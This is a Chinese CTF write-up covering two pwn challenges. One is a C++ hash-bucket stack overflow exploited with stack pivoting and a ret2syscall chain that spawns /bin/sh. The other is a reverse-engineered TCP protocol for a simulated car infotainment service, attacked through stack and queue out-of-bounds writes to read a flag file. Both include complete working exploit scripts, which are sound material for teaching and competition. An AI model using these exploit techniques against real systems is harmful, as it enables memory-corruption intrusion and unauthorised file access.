CCBCISCN初赛Pwn部分题解

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novel1

bucket相关知识

在C++中，bucket 通常与哈希表（Hash Table）或无序容器（如 std::unordered_map 和 std::unordered_set）相关。它表示哈希表中的一个存储单元，用于存储具有相同哈希值的元素。

1. 哈希表的基本概念

哈希表是一种数据结构，它通过哈希函数将键（key）映射到一个索引（bucket），然后将值存储在该索引对应的位置。哈希表的核心思想是通过哈希函数将键均匀分布到不同的桶（bucket）中，以实现高效的查找、插入和删除操作。

2. bucket 的作用

  • bucket 是哈希表中的一个存储单元，通常是一个链表或其他容器（如数组或向量），用于存储具有相同哈希值的元素。
  • 当多个键通过哈希函数映射到同一个索引时，这些键值对会被存储在同一个 bucket 中（这种情况称为哈希冲突）。
  • 哈希表的性能与 bucket 的数量和分布密切相关。如果哈希函数设计得好，元素会均匀分布在各个 bucket 中，从而减少冲突，提高性能。

3. C++ 中的 bucket 相关操作

在 C++ 标准库中，std::unordered_map 和 std::unordered_set 是基于哈希表实现的容器。它们提供了与 bucket 相关的成员函数，例如：

  • bucket_count(): 返回哈希表中 bucket 的总数。
  • bucket_size(n): 返回第 n 个 bucket 中的元素数量。
  • bucket(key): 返回键 key 所在的 bucket 的索引。
  • load_factor(): 返回哈希表的负载因子（即每个 bucket 的平均元素数量）。
  • max_load_factor(): 返回或设置哈希表的最大负载因子。

4. 示例代码

以下是一个使用 std::unordered_map 并操作 bucket 的示例：

#include <iostream>
#include <unordered_map>

int main() {
    // 创建一个 unordered_map
    std::unordered_map<std::string, int> myMap = {
        {"apple", 1},
        {"banana", 2},
        {"cherry", 3},
        {"date", 4},
        {"elderberry", 5}
    };

    // 输出 bucket 的总数
    std::cout << "Bucket count: " << myMap.bucket_count() << std::endl;

    // 输出每个 bucket 中的元素数量
    for (size_t i = 0; i < myMap.bucket_count(); ++i) {
        std::cout << "Bucket " << i << " has " << myMap.bucket_size(i) << " elements." << std::endl;
    }

    // 输出某个键所在的 bucket
    std::string key = "banana";
    std::cout << "Key '" << key << "' is in bucket " << myMap.bucket(key) << std::endl;

    // 输出负载因子
    std::cout << "Load factor: " << myMap.load_factor() << std::endl;
    std::cout << "Max load factor: " << myMap.max_load_factor() << std::endl;

    return 0;
}

5. 总结

  • bucket 是哈希表中的一个存储单元，用于存储具有相同哈希值的元素。
  • 在 C++ 中，std::unordered_map 和 std::unordered_set 提供了与 bucket 相关的操作函数，可以用于调试和优化哈希表的性能。
  • 理解 bucket 的概念对于设计高效的哈希表和解决哈希冲突非常重要。

题目分析

libc2.35 Partial RELRO,no canary,no pie，看到no canary首先想到这个题是不是栈溢出

main函数非常简单

image.png

part1函数

image.png

fragment函数功能就是打印传入的字符串

image.png

part2函数

image.png

RACHE函数

image.png

1. std::copy 的作用

std::copy 是 C++ 标准库中的一个算法函数，用于将一个范围内的元素从源容器复制到目标容器。它的函数原型如下：

template<class InputIterator, class OutputIterator>
OutputIterator copy(InputIterator first, InputIterator last, OutputIterator result);
  • first 和 last: 定义了源容器的范围（[first, last)）。
  • result: 目标容器的起始位置，复制的结果将从这里开始存储。

2. 代码中的 std::copy

在代码中，std::copy 的调用如下：

std::copy<std::__detail::_Local_iterator<unsigned int,std::pair<unsigned int const,unsigned long>,std::__detail::_Select1st,std::hash<unsigned int>,std::__detail::_Mod_range_hashing,std::__detail::_Default_ranged_hash,false,false>,std::pair*<unsigned int,unsigned long>>(
    begin,
    end,
    v3);

参数解析：

  • begin 和 end:

    • 这两个参数是迭代器，表示哈希表中某个 bucket 的起始和结束位置。
    • begin 是 std::unordered_map 中某个 bucket 的起始迭代器。
    • end 是 std::unordered_map 中某个 bucket 的结束迭代器。
    • 它们是通过 std::unordered_map::begin(bucket_index) 和 std::unordered_map::end(bucket_index) 获取的。

  • v3:

    • 这是一个数组（_DWORD v3[39]），用于存储从 bucket 中复制的元素。
    • v3 是目标容器的起始位置，复制的结果将存储在这里。 #### 功能：

  • 将哈希表中某个 bucket 中的所有键值对（std::pair<unsigned int, unsigned long>）复制到数组 v3 中。

3. 代码的上下文

这段代码的功能是：

  1. 用户输入一个键（idx），程序在哈希表 bloodstains 中查找该键。
  2. 如果键不存在，输出错误信息。
  3. 如果键存在，找到该键所在的 bucket，并获取该 bucket 的大小（bucketSize）。
  4. 使用 std::copy 将该 bucket 中的所有键值对复制到数组 v3 中。
  5. 遍历 v3，输出所有相似的键值对。

EXP编写

需要注意的是，这个copy函数只会把同一个bucket内的东西复制到栈上，因此需要找哪些idx被映射到同一个bucket中。但注意到part2函数给了一个打印同一个bucket的循环，因此可以利用这个测出哪些Idx在同一个bucket

  • idx 的循环周期

如果 idx 是一个连续递增的整数（例如 0, 1, 2, 3, ...），那么它们是否会被放在同一个 bucket 中，取决于以下条件：

  • 如果 bucket_count() 是固定的：

    • 由于 bucket_index = idx % bucket_count()，idx 的值每增加 bucket_count()，bucket_index 就会循环一次。
    • 例如，如果 bucket_count() = 10，那么 idx = 0, 10, 20, ... 会被放在同一个 bucket 中。

  • 如果 bucket_count() 是动态变化的：

    • std::unordered_map 会根据负载因子（load_factor）动态调整桶的数量。
    • 当桶的数量变化时，bucket_index 的计算方式也会变化，因此 idx 的循环周期也会变化。

因此写出以下exp来爆破如何在同一个bucket中

for j in range(1,100):
    p = process("/home/zp9080/PWN/novel1")
    p.sendlineafter('Author: ',b'a')
    for i in range(0x1f):
        part1(i*j,10)
    part2(j)
    p.recvuntil('as follows:')
    p.recvline()
    p.recvline()
    data=p.recvline()
    if(data !=b'\n'):
        print(j)
        pause()

image.png

image.png

剩下的就是构造exp了，一开始author让我们输入0x80字节长度的数据（一种栈迁移的提示），同时这个magic_gadget可以控制rsp,显然的栈迁移。

但注意到这个copy不是按照idx顺序来的，比如59,59*2顺序，但是通过调试看栈上的数据排布可以得出每个idx对应复制到栈上的哪个位置。

剩下的exp构造就很简单了，只是要注意不要直接用system函数，因为这个函数调用时会降低rsp，会降低0x600左右，因为rsp此时指向bss，再往下降就降到了不可写的段，而system需要往rsp上写东西，此时就会崩掉。因此直接用ret2syscall就可以了

from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/novel1")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *$rebase(0x117F)')
# p=remote('139.155.126.78',31415)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/novel1")
libc=elf.libc 
gdb_script='''
b *0x402CCF
'''
def dbg():
    gdb.attach(p,gdb_script)
    pause()
menu=b'Chapter: '
def part1(idx,value):
    p.sendlineafter(menu,str(1))
    p.sendlineafter('Blood:',str(idx))
    p.sendlineafter('Evidence:',str(value))
def part2(idx):
    p.sendlineafter(menu,str(2))
    p.sendlineafter('Blood:',str(idx))
pop_rdi_rbp=0x4025C0
pop_rsi_rbp=0x40494e
puts_got=elf.got['puts']
puts=elf.plt['puts']
author=0x40A540-0x10
magic=0x4025BE
my_gets=0x40283C #read(0,author,0x80)
payload=p64(pop_rdi_rbp)+p64(puts_got)+p64(0)+p64(puts)
payload+=p64(my_gets)+p64(0)+p64(my_gets)+p64(0)
p.sendlineafter('Author:',payload)
for i in range(19):
    part1(59*i,10)
part1(59*19,magic)
part1(59*20,author)
for i in range(21,30):
    part1(59*i,10)
# dbg()
part2(59)
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-libc.sym['puts']
print(hex(libcbase))
rdi = libcbase + 0x2a3e5
rsi = libcbase + 0x2be51
rdx_rbx = libcbase + 0x904a9
rax = libcbase + 0x45eb0
bin_addr = libcbase + next(libc.search(b'/bin/sh'))
syscall=libcbase+0x0000000000029db4
pay=p64(rdi) + p64(bin_addr) + p64(rsi) + p64(0) + p64(rdx_rbx) + p64(0) * 2 + p64(rax) + p64(0x3b) + p64(syscall)
p.sendline(pay)
p.interactive()

最后打通

image.png

一些思考

这个题主要是要理解C++中的unordered map、bucket相关内容，其中C++也没有去除符号表，所以很多可以直接复制相应的反汇编问大模型，大模型基本都可以很好地解释函数的作用，而且这个题栈溢出很明显，从保护再到反汇编的copy函数，一眼栈溢出。

这个题还还有个有意思的地方就是对在同一个bucket中的idx的爆破，也算是个小fuzz，同时要理解bucket相关内容才知道如何爆破idx

anyip

题目描述：某个车机车载娱乐系统ivi开放了个tcp的接口,你能通过这个tcp端口逆向出具体的协议格式并获取它的权限吗

逆向出来的pack结构，这个部分还比较容易

def pack(func, para1, content):
    buf = b""
    buf += p16(func)
    buf += b"\x00" + p8(para1) + b"\x00" * (4) + b"\x00\x00\x00\x00\x01\x07\x00\x00"
    buf += content
    return buf

前16位代表要调用的函数，取值为0x1111,0x2222,0x3333,0x4444，代表四个函数。

它后面的8位是函数的一个参数。再后面的8位固定为b"\x??\x??\x??\x??\x01\x07\x??\x??"。如果其中的\x01和\x07不对会直接报错。再后面的content为可变长度的字节流，也会作为部分函数的参数。

0x4444函数,实现了一个队列

image.png

0x2222函数，实现了一个栈.但注意到PUSH的时候是有检查的，但是POP的时候没有检查，那么stackTop就可以变为负数实现溢出

image.png

可以看到相关结构存储如下，通过这个负数溢出可以修改qFront，qEnd,QUEUE这些结构

image.png

stack的前面有queue及其队头队尾，将栈pop到qEnd的位置后再push入数字就可以覆盖qEnd。

qEnd = (qEnd+1) %10是入队之后才会进行的，也就是说qEnd被覆盖后的第一次入队，偏移完全由刚刚越界push的数字决定。但由于只有一次，不能完整覆盖s。但是发现栈对top的唯一检查就是top- base != 0xa, 所以只要把base覆盖掉，栈就可以任意偏移写了。

下面有一个字符数组s，其中存的是log文件的名字，func 0x1111中有将log读出并发送的功能，所以如果通过栈的任意偏移写将log的名字覆盖成flag，再用func 0x1111中的功能就可以得到flag了。

image.png

接下来要让让v13=“SomeIpfun”，这部分要逆向0x3333函数，我自己没有太逆懂这是个什么结构。于是想是否可以试试小fuzz。

先按SomeIpfun的顺序输出，发现拼接出的字符串是uenoISpmf 一一对应：

S o m e I p f u n

u e n o I S p m f

以u来说，第八个输入的u会在第一个输出，而目标是让S第一个输出，所以只要把输入时的u改成S即可。以此类推，修改顺序为：peuoIfnSm，得到的字符串就是SomeIpfun了。

c++的字符串不用\x00结尾，如果加了反而会让长度增加导致compare结果不相等

总结以上利用，写出exp：

  1. 用栈的负向溢出覆盖q_end
  2. 用queue越界覆盖stack的base，让栈绕过边界检查
  3. 用stack越界覆盖s，将文件名改成flag
  4. 通过func0x3333和0x1111中的功能，构造字符串"SomeIpfun", 得到flag（在发回的报文中
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
import os
import socket
def pack(func, para1, content):
    buf = b""
    buf += p16(func)
    buf += b"\x00" + p8(para1) + b"\x00" * (4) + b"\x00\x00\x00\x00\x01\x07\x00\x00"
    buf += content
    return buf
def push(num):
    p1 = pack(0x2222, 1, str(num).encode())
    return p1

def pop():
    p1 = pack(0x2222, 2, b"")
    return p1
def enqueue(num):
    p1 = pack(0x4444, 1, str(num).encode())
    return p1
s1 = socket.socket()
s1.connect(("127.0.0.1", 9999))
for i in range(0x20 // 4 - 3):
    s1.send(pop())
    print(s1.recv(0x10))
s1.send(push((0xCC - 0x60) // 4))
print(s1.recv(0x10))
s1.send(enqueue(0x40))
print(s1.recv(0x10))
for i in range((0xC8 - 0x90) // 4):
    s1.send(push(0))
    print(s1.recv(0x10))
s1.send(push((0xE0 - 0xA0) // 4))
print(s1.recv(0x10))
#flag
s1.send(push(0x67616C66))
print(s1.recv(0x10))
s1.send(push(0))
print(s1.recv(0x10))
p1 = pack(0x3333, 3, b"p")
s1.send(p1)
print(s1.recv(0x10))
p1 = pack(0x3333, 1, b"e")
s1.send(p1)
print(s1.recv(0x10))
p1 = pack(0x3333, 1, b"u")
s1.send(p1)
print(s1.recv(0x10))
p1 = pack(0x3333, 1, b"o")
s1.send(p1)
print(s1.recv(0x10))
p1 = pack(0x3333, 1, b"I")
s1.send(p1)
print(s1.recv(0x10))
p1 = pack(0x3333, 1, b"f")
s1.send(p1)
print(s1.recv(0x10))
p1 = pack(0x3333, 1, b"n")
s1.send(p1)
print(s1.recv(0x10))
p1 = pack(0x3333, 1, b"S")
s1.send(p1)
print(s1.recv(0x10))
p1 = pack(0x3333, 1, b"m")
s1.send(p1)
print(s1.recv(0x10))
p2 = pack(0x1111, 2, b"a" * (0x4B - 9) + b"SomeIpfun" + b"b" * 0x100)
s1.send(p2)
print(s1.recv(0x200))

最后打通

image.png

不好逆向的要多想想fuzz，说不定就试出来了。同时要对漏洞敏感，比如这种题，没有给libc，基本不用想leak出libcbase来执行system。因此要格外注意越界，以及文件中是否有与文件相关的，或者popen这种命令执行的函数，从这个出发点来进行攻击

  • 发表于 2025-05-30 10:00:00
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  • 分类：二进制

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